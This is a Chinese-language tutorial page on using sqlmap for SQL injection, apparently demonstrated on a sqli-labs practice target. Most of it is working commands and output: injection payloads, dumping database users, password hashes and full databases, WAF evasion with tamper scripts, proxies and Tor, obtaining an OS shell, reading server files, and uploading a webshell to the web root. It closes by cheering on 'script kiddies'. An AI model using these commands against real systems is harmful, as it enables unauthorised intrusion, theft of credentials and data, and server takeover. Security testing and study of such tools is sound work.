热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程1.sqlmap简介2.初级扫描方案探测是否存在sql注入漏洞查看数据库信息3.高级扫描方案绕过waf探测等级和危险等级(—level—risk)伪


史上最详细的sqlmap使用教程

  • 1.sqlmap简介
  • 2.初级扫描方案
    • 探测是否存在sql注入漏洞
    • 查看数据库信息
  • 3.高级扫描方案
    • 绕过waf
    • 探测等级和危险等级(—level —risk)
    • 伪造 Http Referer头部
    • 执行指定的SQL语句(—sql-shell)
    • 执行操作系统命令(—os-shell)
    • 读取服务器文件(—file-read)
    • 上传文件到数据库服务器中(—file-write —file-dest)


1.sqlmap简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术


  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

在这里插入图片描述




2.初级扫描方案


探测是否存在sql注入漏洞


对于不用登录的网站,直接指定其URL:🎂


sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 5728=5728 AND 'IxVn'='IxVnType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiyType: time-based blindTitle: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)Payload: id=1' OR SLEEP(5)#Type: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其COOKIE🙌


我们可以用账号密码登录,然后用抓包工具抓取其COOKIE填入

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --COOKIE="抓取的COOKIE"

对于是post提交数据的URL,我们需要指定其data参数💦


sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

我们也可以通过抓取 http 数据包保存为文件💞


这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

如下,我们保存网站的访问数据包为data.txt文件:

在这里插入图片描述

可以看到,我的网站存在防CSRF攻击,sqlmap注入失败:

在这里插入图片描述


查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码:

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户:

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: ‘sqlilabs@localhost’

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前的数据库信息:

[03:25:33] [INFO] fetching current database
current database: ‘security’

爆出指定数据库(security)中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息:

Database: security
[4 tables]
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据



3.高级扫描方案


绕过waf

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用—tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。

识别网站有无waf,可以使用kali里面的工具:wafw00f

如下的网站不存在waf:

在这里插入图片描述

sqlmap参数绕过:

#使用参数进行绕过
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入

指定脚本进行绕过(—tamper):

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)

sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper

在这里插入图片描述

指定单个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py

指定多个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

探测等级和危险等级(—level —risk)

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出COOKIE、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP COOKIE在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级

如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描:💫

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3

伪造 Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer

例如,可以这样来伪造百度的referer头部:

--referer http://www.baidu.com

执行指定的SQL语句(—sql-shell)

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell

然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号

在这里插入图片描述

执行sql查询:

在这里插入图片描述


执行操作系统命令(—os-shell)

在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令

当为MySQL数据库时,需满足下面条件:


  • 当前用户为 root
  • 知道网站根目录的绝对路径

sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell

接下来让我们选择网站的脚本语言:

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

往下,接下来让我们判断网站可写目录的方法:

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解

执行os-shell的过程中,sqlmap会向网站根目录写入两个文件 tmpblwkd.phptmpueqch.php。真正的木马文件是tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。


读取服务器文件(—file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

例如我们要读取目标服务器C盘的test.txt文件:

sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"

上传文件到数据库服务器中(—file-write —file-dest)

当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

前提是我们知道目标服务器的绝对路径

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1
--file-write C:\Users\mi\Desktop\1.php
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

祝愿每一个脚本小子,从这里起航🚀



推荐阅读
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
author-avatar
harekoc_303
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有